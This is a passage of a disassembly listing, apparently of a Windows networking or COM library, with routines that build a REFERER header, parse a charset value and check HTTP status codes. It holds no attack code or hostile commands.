push dword ptr [esi+8] ; lpString
call sub_69B3A5D1
mov [esi+8], eax
jmp short loc_69B3A887
; ---------------------------------------------------------------------------
loc_69B3A880: ; CODE XREF: sub_69B3A709+14Ej
mov [ebp+var_4], 80070057h
loc_69B3A887: ; CODE XREF: sub_69B3A709+168j
; sub_69B3A709+175j
push ebx
call sub_69B1B2B7
loc_69B3A88D: ; CODE XREF: sub_69B3A709+118j
pop ebx
loc_69B3A88E: ; CODE XREF: sub_69B3A709+2Bj
; sub_69B3A709+55j ...
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn 8
sub_69B3A709 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3A897(int, LPCWSTR lpString, int)
sub_69B3A897 proc near ; CODE XREF: sub_69B3937E+F0p
; sub_69B39730+F2p
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+lpString], 0
push ebx
push esi
push edi
push [ebp+arg_8] ; int
mov esi, ecx
jz short loc_69B3A8E0
push [ebp+lpString] ; lpString
call sub_69B3A709
mov edi, eax
test edi, edi
jl short loc_69B3A8EA
push dword ptr [esi+8] ; lpString
call sub_69B8AADD
mov ebx, eax
test ebx, ebx
jnz short loc_69B3A8CB
mov edi, 8007000Eh
jmp short loc_69B3A8EA
; ---------------------------------------------------------------------------
loc_69B3A8CB: ; CODE XREF: sub_69B3A897+2Bj
push ebx ; int
push [ebp+arg_0] ; lpString
mov ecx, esi
call sub_69B3A709
push ebx
mov edi, eax
call sub_69B1B2B7
jmp short loc_69B3A8EA
; ---------------------------------------------------------------------------
loc_69B3A8E0: ; CODE XREF: sub_69B3A897+Fj
push [ebp+arg_0] ; lpString
call sub_69B3A709
mov edi, eax
loc_69B3A8EA: ; CODE XREF: sub_69B3A897+1Dj
; sub_69B3A897+32j ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B3A897 endp
; =============== S U B R O U T I N E =======================================
sub_69B3A8F3 proc near ; CODE XREF: sub_69B3937E+17Bp
; sub_69B39507+14Ep ...
push esi
mov esi, ecx
call sub_69B3A68D
push dword ptr [esi+0Ch]
call sub_69B1B2B7
add esi, 10h
push esi
call sub_69B17230
pop esi
retn
sub_69B3A8F3 endp
; =============== S U B R O U T I N E =======================================
sub_69B3A90E proc near ; CODE XREF: sub_69B3A93B+Bp
arg_0 = dword ptr 4
cmp [esp+arg_0], 0C8h
jz short loc_69B3A926
cmp [esp+arg_0], 1C1h
jz short loc_69B3A926
xor eax, eax
jmp short locret_69B3A929
; ---------------------------------------------------------------------------
loc_69B3A926: ; CODE XREF: sub_69B3A90E+8j
; sub_69B3A90E+12j
xor eax, eax
inc eax
locret_69B3A929: ; CODE XREF: sub_69B3A90E+16j
retn 4
sub_69B3A90E endp
; =============== S U B R O U T I N E =======================================
sub_69B3A92C proc near ; DATA XREF: .text:69B277D0o
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov dword ptr [eax], 20h
xor eax, eax
retn 8
sub_69B3A92C endp
; =============== S U B R O U T I N E =======================================
sub_69B3A93B proc near ; DATA XREF: .text:69B277B8o
arg_4 = dword ptr 8
arg_10 = dword ptr 14h
mov eax, [esp+arg_10]
push [esp+arg_4]
and dword ptr [eax], 0
call sub_69B3A90E
neg eax
sbb eax, eax
inc eax
retn 14h
sub_69B3A93B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3A953 proc near ; CODE XREF: sub_69B3B273+5j
; .text:69B3B296j
; DATA XREF: ...
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
call dword_69B92948
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B3A970
mov eax, 80004005h
jmp locret_69B3A9F3
; ---------------------------------------------------------------------------
loc_69B3A970: ; CODE XREF: sub_69B3A953+11j
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
lea ecx, [ebx+4]
call sub_69B87FDC
push eax
push [ebp+var_4]
lea ecx, [ebp+var_10]
call sub_69B1A8C7
and [ebp+arg_0], 0
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2AF80
xor eax, eax
repe cmpsd
jnz short loc_69B3A9B7
lea ecx, [ebx+10h]
loc_69B3A9A2: ; CODE XREF: sub_69B3A953+78j
mov eax, ebx
neg eax
sbb eax, eax
and eax, ecx
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
jmp short loc_69B3A9DC
; ---------------------------------------------------------------------------
loc_69B3A9B7: ; CODE XREF: sub_69B3A953+4Aj
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2AF30
xor eax, eax
repe cmpsd
jnz short loc_69B3A9CD
lea ecx, [ebx+14h]
jmp short loc_69B3A9A2
; ---------------------------------------------------------------------------
loc_69B3A9CD: ; CODE XREF: sub_69B3A953+73j
push [ebp+arg_8]
push [ebp+arg_4]
push ebx
call sub_69B448B2
mov [ebp+arg_0], eax
loc_69B3A9DC: ; CODE XREF: sub_69B3A953+62j
lea ecx, [ebp+var_10]
call sub_69B1976C
push [ebp+var_4]
call dword_69B92944
mov eax, [ebp+arg_0]
pop edi
pop esi
pop ebx
locret_69B3A9F3: ; CODE XREF: sub_69B3A953+18j
leave
retn 0Ch
sub_69B3A953 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3A9F7 proc near ; CODE XREF: sub_69B3B27D+5j
; .text:69B3B2A0j
; DATA XREF: ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B3AA11
mov eax, 80004005h
jmp short loc_69B3AA45
; ---------------------------------------------------------------------------
loc_69B3AA11: ; CODE XREF: sub_69B3A9F7+11j
push esi
mov esi, [ebp+arg_0]
lea ecx, [esi+4]
call sub_69B87FDC
push eax
push edi
lea ecx, [ebp+var_C]
call sub_69B1A8C7
add esi, 2Ch
push esi ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
lea ecx, [ebp+var_C]
mov esi, eax
call sub_69B1976C
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B3AA45: ; CODE XREF: sub_69B3A9F7+18j
pop edi
leave
retn 4
sub_69B3A9F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B3AA4A proc near ; CODE XREF: sub_69B3B287+5j
; .text:69B3B2AAj
; DATA XREF: ...
; FUNCTION CHUNK AT 69B3AAB7 SIZE 00000020 BYTES
push 24h
push offset dword_69B3AAD8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B3AA6A
mov eax, 80004005h
jmp short loc_69B3AACF
; ---------------------------------------------------------------------------
loc_69B3AA6A: ; CODE XREF: sub_69B3AA4A+17j
mov esi, [ebp+8]
lea edi, [esi+4]
mov ecx, edi
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
lea eax, [esi+2Ch]
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
mov [ebp-2Ch], eax
test eax, eax
jnz short loc_69B3AABB
and [ebp-4], eax
mov [ebp-30h], esi
mov [ebp-34h], esi
test esi, esi
jz short loc_69B3AAB7
mov eax, [edi]
push 1
mov ecx, edi
call dword ptr [eax]
jmp short loc_69B3AAB7
sub_69B3AA4A endp
; =============== S U B R O U T I N E =======================================
sub_69B3AAAB proc near ; DATA XREF: .text:69B3AADCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B3AAAB endp
; =============== S U B R O U T I N E =======================================
sub_69B3AAB4 proc near ; DATA XREF: .text:69B3AAE0o
mov esp, [ebp-18h]
sub_69B3AAB4 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_69B3AA4A
loc_69B3AAB7: ; CODE XREF: sub_69B3AA4A+55j
; sub_69B3AA4A+5Fj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B3AABB: ; CODE XREF: sub_69B3AA4A+48j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B3AACF: ; CODE XREF: sub_69B3AA4A+1Ej
call sub_69B1853C
retn 4
; END OF FUNCTION CHUNK FOR sub_69B3AA4A
; ---------------------------------------------------------------------------
align 4
dword_69B3AAD8 dd 0FFFFFFFFh dd offset sub_69B3AAAB
dd offset sub_69B3AAB4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3AAE4 proc near ; CODE XREF: .text:69B3B2B4j
; DATA XREF: .text:69B277E0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov dword ptr [ecx], 280h
mov eax, [eax+18h]
test eax, eax
jz short loc_69B3AB06
cmp dword ptr [eax+44h], 0
jnz short loc_69B3AB06
mov dword ptr [ecx], 283h
loc_69B3AB06: ; CODE XREF: sub_69B3AAE4+14j
; sub_69B3AAE4+1Aj
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [edx]
test esi, esi
push edi
jnz short loc_69B3AB15
push 54h
pop esi
loc_69B3AB15: ; CODE XREF: sub_69B3AAE4+2Cj
mov ecx, esi
mov ebx, ecx
shr ecx, 2
xor eax, eax
mov edi, edx
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
and dword ptr [edx+18h], 0
mov eax, [ebp+arg_0]
mov [edx], esi
mov eax, [eax+1Ch]
test eax, eax
pop edi
pop esi
pop ebx
jz short loc_69B3AB48
mov ecx, [eax]
push edx
push [ebp+arg_4]
push eax
call dword ptr [ecx+20h]
jmp short loc_69B3AB4A
; ---------------------------------------------------------------------------
loc_69B3AB48: ; CODE XREF: sub_69B3AAE4+56j
xor eax, eax
loc_69B3AB4A: ; CODE XREF: sub_69B3AAE4+62j
pop ebp
retn 0Ch
sub_69B3AAE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3AB4E proc near ; DATA XREF: .text:69B277E4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_10]
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
test byte ptr [ebp+arg_4], 1
jz short loc_69B3AB92
cmp dword ptr [ebx], 4
jz short loc_69B3AB6E
mov edi, 80004005h
jmp short loc_69B3ABD2
; ---------------------------------------------------------------------------
loc_69B3AB6E: ; CODE XREF: sub_69B3AB4E+17j
mov ecx, [esi+18h]
test ecx, ecx
jz short loc_69B3AB83
push dword ptr [esi+28h] ; lpszUrl
call sub_69B39E07
mov edi, eax
test edi, edi
jl short loc_69B3ABD2
loc_69B3AB83: ; CODE XREF: sub_69B3AB4E+25j
mov ecx, [esi+18h]
test ecx, ecx
jz short loc_69B3AB92
push dword ptr [ebx+4]
call sub_69B3A31B
loc_69B3AB92: ; CODE XREF: sub_69B3AB4E+12j
; sub_69B3AB4E+3Aj
test byte ptr [ebp+arg_4], 4
jz short loc_69B3ABB5
mov ecx, [esi+18h]
test ecx, ecx
jz short loc_69B3ABB5
call sub_69B3A112
cmp eax, 8000000Ah
jnz short loc_69B3ABB5
mov ecx, [esi+18h]
push 0
call sub_69B3A0F1
loc_69B3ABB5: ; CODE XREF: sub_69B3AB4E+48j
; sub_69B3AB4E+4Fj ...
mov eax, [esi+1Ch]
test eax, eax
jz short loc_69B3ABF1
mov ecx, [eax]
push ebx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+24h]
mov edi, eax
test edi, edi
jge short loc_69B3ABF1
loc_69B3ABD2: ; CODE XREF: sub_69B3AB4E+1Ej
; sub_69B3AB4E+33j
mov ecx, [esi+18h]
test ecx, ecx
jz short loc_69B3ABDF
push edi
call sub_69B3A0F1
loc_69B3ABDF: ; CODE XREF: sub_69B3AB4E+89j
mov eax, edi
sub eax, 8000000Ah
neg eax
sbb eax, eax
and eax, 80004004h
jmp short loc_69B3AC0A
; ---------------------------------------------------------------------------
loc_69B3ABF1: ; CODE XREF: sub_69B3AB4E+6Cj
; sub_69B3AB4E+82j
mov esi, [esi+18h]
test esi, esi
jz short loc_69B3AC08
mov ecx, [esi+40h]
test ecx, ecx
jz short loc_69B3AC08
mov eax, [ecx]
push 0
push esi
call dword ptr [eax]
mov edi, eax
loc_69B3AC08: ; CODE XREF: sub_69B3AB4E+A8j
; sub_69B3AB4E+AFj
mov eax, edi
loc_69B3AC0A: ; CODE XREF: sub_69B3AB4E+A1j
pop edi
pop esi
pop ebx
pop ebp
retn 14h
sub_69B3AB4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3AC11(int, LPCWSTR lpString, int)
sub_69B3AC11 proc near ; CODE XREF: sub_69B3ACD6+43p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_0]
mov eax, [eax]
test eax, eax
push ebx
push esi
mov esi, ds:lstrlenW
push edi
jz short loc_69B3AC31
push eax ; lpString
call esi ; lstrlenW
mov [ebp+var_4], eax
jmp short loc_69B3AC35
; ---------------------------------------------------------------------------
loc_69B3AC31: ; CODE XREF: sub_69B3AC11+16j
and [ebp+var_4], 0
loc_69B3AC35: ; CODE XREF: sub_69B3AC11+1Ej
push [ebp+lpString] ; lpString
call esi ; lstrlenW
push [ebp+arg_8] ; lpString
mov [ebp+var_8], eax
call esi ; lstrlenW
mov edi, eax
push offset asc_69B2778C ; "\r\n"
mov [ebp+var_10], edi
call esi ; lstrlenW
lea ebx, [eax+edi]
add ebx, [ebp+var_8]
mov [ebp+var_14], eax
add ebx, [ebp+var_4]
shl ebx, 1
lea eax, [ebx+2]
push eax
call sub_69B11E44
mov edi, eax
test edi, edi
mov [ebp+var_C], edi
jz short loc_69B3ACC1
mov eax, [ebp+arg_0]
mov esi, [eax]
test esi, esi
jz short loc_69B3AC80
mov ecx, [ebp+var_4]
rep movsw
mov edi, [ebp+var_C]
loc_69B3AC80: ; CODE XREF: sub_69B3AC11+64j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov esi, [ebp+lpString]
mov edx, [ebp+var_8]
lea edi, [edi+eax*2]
rep movsw
mov ecx, [ebp+var_10]
mov esi, [ebp+arg_8]
lea edi, [edx+eax]
mov eax, [ebp+var_C]
lea edi, [eax+edi*2]
rep movsw
mov edi, [ebp+var_10]
mov ecx, [ebp+var_14]
add edi, edx
add edi, [ebp+var_4]
mov esi, offset asc_69B2778C ; "\r\n"
lea edi, [eax+edi*2]
rep movsw
and word ptr [ebx+eax], 0
mov edi, eax
loc_69B3ACC1: ; CODE XREF: sub_69B3AC11+5Bj
mov esi, [ebp+arg_0]
push dword ptr [esi]
call sub_69B1B2B7
mov [esi], edi
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B3AC11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3ACD6 proc near ; DATA XREF: .text:69B277B4o
lpString = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov ecx, [ecx+28h]
and [ebp+var_4], 0
and [ebp+lpString], 0
test ecx, ecx
jz short loc_69B3ACF5
mov ecx, [ecx+4]
jmp short loc_69B3ACF7
; ---------------------------------------------------------------------------
loc_69B3ACF5: ; CODE XREF: sub_69B3ACD6+18j
xor ecx, ecx
loc_69B3ACF7: ; CODE XREF: sub_69B3ACD6+1Dj
and [ebp+arg_0], 0
push esi
mov esi, [ebp+arg_10]
and dword ptr [esi], 0
test ecx, ecx
push edi
jz short loc_69B3AD60
mov eax, [eax+8]
mov eax, [eax+28h]
push dword ptr [eax+4] ; int
lea eax, [ebp+lpString]
push offset aReferer ; "REFERER: "
push eax ; int
call sub_69B3AC11
mov edi, [ebp+lpString]
test edi, edi
jz short loc_69B3AD57
push edi ; lpString
call ds:lstrlenW ; lstrlenW
lea eax, [eax+eax+2]
push eax ; cb
call ds:CoTaskMemAlloc
test eax, eax
mov [esi], eax
jz short loc_69B3AD48
push edi
push eax
call sub_69B84AF5
pop ecx
pop ecx
jmp short loc_69B3AD4F
; ---------------------------------------------------------------------------
loc_69B3AD48: ; CODE XREF: sub_69B3ACD6+65j
mov [ebp+var_4], 8007000Eh
loc_69B3AD4F: ; CODE XREF: sub_69B3ACD6+70j
push edi
call sub_69B1B2B7
jmp short loc_69B3AD98
; ---------------------------------------------------------------------------
loc_69B3AD57: ; CODE XREF: sub_69B3ACD6+4Dj
mov [ebp+var_4], 8007000Eh
jmp short loc_69B3AD98
; ---------------------------------------------------------------------------
loc_69B3AD60: ; CODE XREF: sub_69B3ACD6+2Fj
mov eax, [eax+0Ch]
test eax, eax
jz short loc_69B3AD98
mov ecx, [eax]
lea edx, [ebp+arg_0]
push edx
push offset dword_69B2AF80
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B3AD98
mov eax, [ebp+arg_0]
mov ecx, [eax]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B3AD98: ; CODE XREF: sub_69B3ACD6+7Fj
; sub_69B3ACD6+88j ...
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn 14h
sub_69B3ACD6 endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR aReferer
aReferer: ; DATA XREF: sub_69B3ACD6+3Do
unicode 0, <REFERER: >,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3ADB8 proc near ; DATA XREF: .text:69B277A4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov eax, [eax+8]
push esi
xor esi, esi
cmp eax, esi
jz short loc_69B3ADFC
mov ecx, [eax]
lea edx, [ebp+arg_0]
push edx
push offset dword_69B2AF30
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B3AE01
push [ebp+arg_10]
mov eax, [ebp+arg_0]
push [ebp+arg_C]
mov ecx, [eax]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+10h]
mov esi, eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp short loc_69B3AE01
; ---------------------------------------------------------------------------
loc_69B3ADFC: ; CODE XREF: sub_69B3ADB8+Ej
mov eax, [ebp+arg_10]
mov [eax], esi
loc_69B3AE01: ; CODE XREF: sub_69B3ADB8+20j
; sub_69B3ADB8+42j
mov eax, esi
pop esi
pop ebp
retn 14h
sub_69B3ADB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3AE08(LPCSTR lpMultiByteStr, int cchMultiByte, int)
sub_69B3AE08 proc near ; CODE XREF: sub_69B3AE56+5Ep
; sub_69B3AE56+F8p
lpMultiByteStr = dword ptr 8
cchMultiByte = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ds:MultiByteToWideChar
push edi
xor eax, eax
push eax ; cchWideChar
push eax ; lpWideCharStr
push [ebp+cchMultiByte] ; cchMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
push 1 ; dwFlags
push eax ; CodePage
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_69B1D897
mov ebx, eax
test ebx, ebx
jz short loc_69B3AE4D
push edi ; cchWideChar
push ebx ; lpWideCharStr
push [ebp+cchMultiByte] ; cchMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
push 1 ; dwFlags
push 0 ; CodePage
call esi ; MultiByteToWideChar
mov eax, [ebp+arg_8]
and word ptr [ebx+edi*2], 0
mov [eax], edi
loc_69B3AE4D: ; CODE XREF: sub_69B3AE08+2Bj
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn 0Ch
sub_69B3AE08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3AE56(LPCSTR lpMultiByteStr, int)
sub_69B3AE56 proc near ; CODE XREF: sub_69B3B01F+6Cp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
lpMultiByteStr = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ecx+18h]
push ebx
xor edx, edx
cmp eax, edx
push esi
mov esi, [ebp+lpMultiByteStr]
push edi
mov [ebp+var_8], ecx
mov [ebp+var_C], edx
jz loc_69B3AF7A
mov eax, [eax+40h]
cmp eax, edx
mov [ebp+var_4], eax
jz loc_69B3AF7A
mov edi, [ebp+arg_4]
cmp edi, edx
jz loc_69B3AF7A
loc_69B3AE8E: ; CODE XREF: sub_69B3AE56+46j
mov bl, [esi]
inc esi
inc edx
cmp edx, edi
mov [ebp+var_10], edx
jge short loc_69B3AE9E
cmp bl, 3Bh
jnz short loc_69B3AE8E
loc_69B3AE9E: ; CODE XREF: sub_69B3AE56+41j
cmp bl, 3Bh
lea eax, [edx-1]
jz short loc_69B3AEA8
mov eax, edx
loc_69B3AEA8: ; CODE XREF: sub_69B3AE56+4Ej
test eax, eax
jle short loc_69B3AEDD
lea ecx, [ebp+lpMultiByteStr]
push ecx ; int
push eax ; cchMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
call sub_69B3AE08
test eax, eax
mov [ebp+arg_4], eax
jz short loc_69B3AF30
push [ebp+lpMultiByteStr]
mov ecx, [ebp+var_4]
mov edx, [ecx]
push eax
mov eax, [ebp+var_8]
push dword ptr [eax+18h]
call dword ptr [edx+4]
push [ebp+arg_4]
call sub_69B1B2B7
mov edx, [ebp+var_10]
loc_69B3AEDD: ; CODE XREF: sub_69B3AE56+54j
sub edi, edx
test edi, edi
jle loc_69B3AF7A
loc_69B3AEE7: ; CODE XREF: sub_69B3AE56+A1j
cmp bl, 20h
jz short loc_69B3AEF1
cmp bl, 3Bh
jnz short loc_69B3AEF9
loc_69B3AEF1: ; CODE XREF: sub_69B3AE56+94j
mov bl, [esi]
dec edi
inc esi
test edi, edi
jg short loc_69B3AEE7
loc_69B3AEF9: ; CODE XREF: sub_69B3AE56+99j
cmp bl, 63h
jz short loc_69B3AF03
cmp bl, 43h
jnz short loc_69B3AF7A
loc_69B3AF03: ; CODE XREF: sub_69B3AE56+A6j
push 7
pop ebx
cmp edi, ebx
jle short loc_69B3AF7A
push ebx ; nChar
push offset aHarset ; "harset="
push esi ; lpStr1
call ds:StrCmpNIA ; StrCmpNIA
test eax, eax
jnz short loc_69B3AF7A
sub edi, ebx
add esi, ebx
test edi, edi
jle short loc_69B3AF7A
cmp byte ptr [esi], 22h
jnz short loc_69B3AF2A
inc esi
dec edi
loc_69B3AF2A: ; CODE XREF: sub_69B3AE56+D0j
xor ecx, ecx
mov edx, esi
jmp short loc_69B3AF44
; ---------------------------------------------------------------------------
loc_69B3AF30: ; CODE XREF: sub_69B3AE56+68j
mov eax, 8007000Eh
jmp short loc_69B3AF7D
; ---------------------------------------------------------------------------
loc_69B3AF37: ; CODE XREF: sub_69B3AE56+F0j
mov al, [esi]
dec edi
inc esi
cmp al, 22h
jz short loc_69B3AF48
cmp al, 20h
jl short loc_69B3AF48
inc ecx
loc_69B3AF44: ; CODE XREF: sub_69B3AE56+D8j
test edi, edi
jnz short loc_69B3AF37
loc_69B3AF48: ; CODE XREF: sub_69B3AE56+E7j
; sub_69B3AE56+EBj
lea eax, [ebp+lpMultiByteStr]
push eax ; int
push ecx ; cchMultiByte
push edx ; lpMultiByteStr
call sub_69B3AE08
mov esi, eax
test esi, esi
jz short loc_69B3AF73
push [ebp+lpMultiByteStr]
mov edx, [ebp+var_8]
mov ecx, [ebp+var_4]
mov eax, [ecx]
push esi
push dword ptr [edx+18h]
call dword ptr [eax+8]
push esi
call sub_69B1B2B7
jmp short loc_69B3AF7A
; ---------------------------------------------------------------------------
loc_69B3AF73: ; CODE XREF: sub_69B3AE56+101j
mov [ebp+var_C], 8007000Eh
loc_69B3AF7A: ; CODE XREF: sub_69B3AE56+19j
; sub_69B3AE56+27j ...
mov eax, [ebp+var_C]
loc_69B3AF7D: ; CODE XREF: sub_69B3AE56+DFj
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B3AE56 endp
; ---------------------------------------------------------------------------
; char aHarset[]
aHarset db 'harset=',0 ; DATA XREF: sub_69B3AE56+B5o
; =============== S U B R O U T I N E =======================================
sub_69B3AF8C proc near ; CODE XREF: sub_69B3A12F+13p
; sub_69B3AFB0+3Cj ...
push esi
mov esi, ecx
push 0
lea eax, [esi+18h]
push eax
call sub_69B17320
push dword ptr [esi+28h]
call sub_69B1B2B7
and dword ptr [esi+28h], 0
and dword ptr [esi+34h], 0
mov byte ptr [esi+30h], 0
pop esi
retn
sub_69B3AF8C endp
; =============== S U B R O U T I N E =======================================
sub_69B3AFB0 proc near ; CODE XREF: sub_69B3A189+Dp
push esi
mov esi, ecx
push edi
lea edi, [esi+20h]
mov eax, [edi]
test eax, eax
jz short loc_69B3AFE0
cmp byte ptr [esi+24h], 0
jnz short loc_69B3AFE0
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov eax, [esi+1Ch]
test eax, eax
jz short loc_69B3AFE0
mov ecx, [eax]
push offset word_69B26224
push 80004005h
push eax
call dword ptr [ecx+1Ch]
loc_69B3AFE0: ; CODE XREF: sub_69B3AFB0+Bj
; sub_69B3AFB0+11j ...
push 0
push edi
call sub_69B17320
pop edi
mov ecx, esi
pop esi
jmp short sub_69B3AF8C
sub_69B3AFB0 endp
; =============== S U B R O U T I N E =======================================
sub_69B3AFEE proc near ; DATA XREF: .text:69B277CCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push [esp+4+arg_8]
mov esi, [esp+8+arg_0]
lea eax, [esi+20h]
push eax
call sub_69B17320
mov byte ptr [esi+24h], 0
mov esi, [esi+1Ch]
test esi, esi
jz short loc_69B3B019
push [esp+4+arg_8]
mov eax, [esi]
push [esp+8+arg_4]
push esi
call dword ptr [eax+0Ch]
loc_69B3B019: ; CODE XREF: sub_69B3AFEE+1Bj
xor eax, eax
pop esi
retn 0Ch
sub_69B3AFEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3B01F(int, int, int, int, LPCWSTR lpString)
sub_69B3B01F proc near ; DATA XREF: .text:69B277D8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
lpString = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
cmp byte ptr [esi+30h], 0
mov [ebp+var_4], edi
jnz short loc_69B3B0A4
mov eax, [esi+20h]
cmp eax, edi
jz short loc_69B3B0A4
lea edx, [ebp+arg_0]
push edx
push offset dword_69B2AF50
mov [ebp+arg_0], edi
mov byte ptr [esi+30h], 1
mov ecx, [eax]
push eax
call dword ptr [ecx]
test eax, eax
jnz short loc_69B3B0A1
cmp [ebp+arg_0], edi
jz short loc_69B3B0A1
mov edi, 80h
push edi
call sub_69B1D897
mov ebx, eax
test ebx, ebx
jz short loc_69B3B096
mov eax, [ebp+arg_0]
push 0
push 0
lea edx, [ebp+var_4]
push edx
push ebx
push 1
mov [ebp+var_4], edi
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
test eax, eax
jnz short loc_69B3B090
push [ebp+var_4] ; int
mov ecx, esi
push ebx ; lpMultiByteStr
call sub_69B3AE56
loc_69B3B090: ; CODE XREF: sub_69B3B01F+64j
push ebx
call sub_69B1B2B7
loc_69B3B096: ; CODE XREF: sub_69B3B01F+49j
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
xor edi, edi
loc_69B3B0A1: ; CODE XREF: sub_69B3B01F+33j
; sub_69B3B01F+38j
mov [ebp+var_4], edi
loc_69B3B0A4: ; CODE XREF: sub_69B3B01F+13j
; sub_69B3B01F+1Aj
cmp [ebp+arg_C], 3
mov ebx, [ebp+lpString]
jnz short loc_69B3B129
mov ecx, [esi+18h]
cmp ecx, edi
jz short loc_69B3B0BD
push ebx ; lpszUrl
call sub_69B39E07
mov [esi+34h], eax
loc_69B3B0BD: ; CODE XREF: sub_69B3B01F+93j
mov eax, [esi+28h]
cmp eax, edi
jz short loc_69B3B0E1
cmp ebx, edi
jz short loc_69B3B0D9
cmp [esi+34h], edi
jl short loc_69B3B0D9
push 0FFFFFFFFh ; int
push eax ; int
push ebx ; lpszUrl
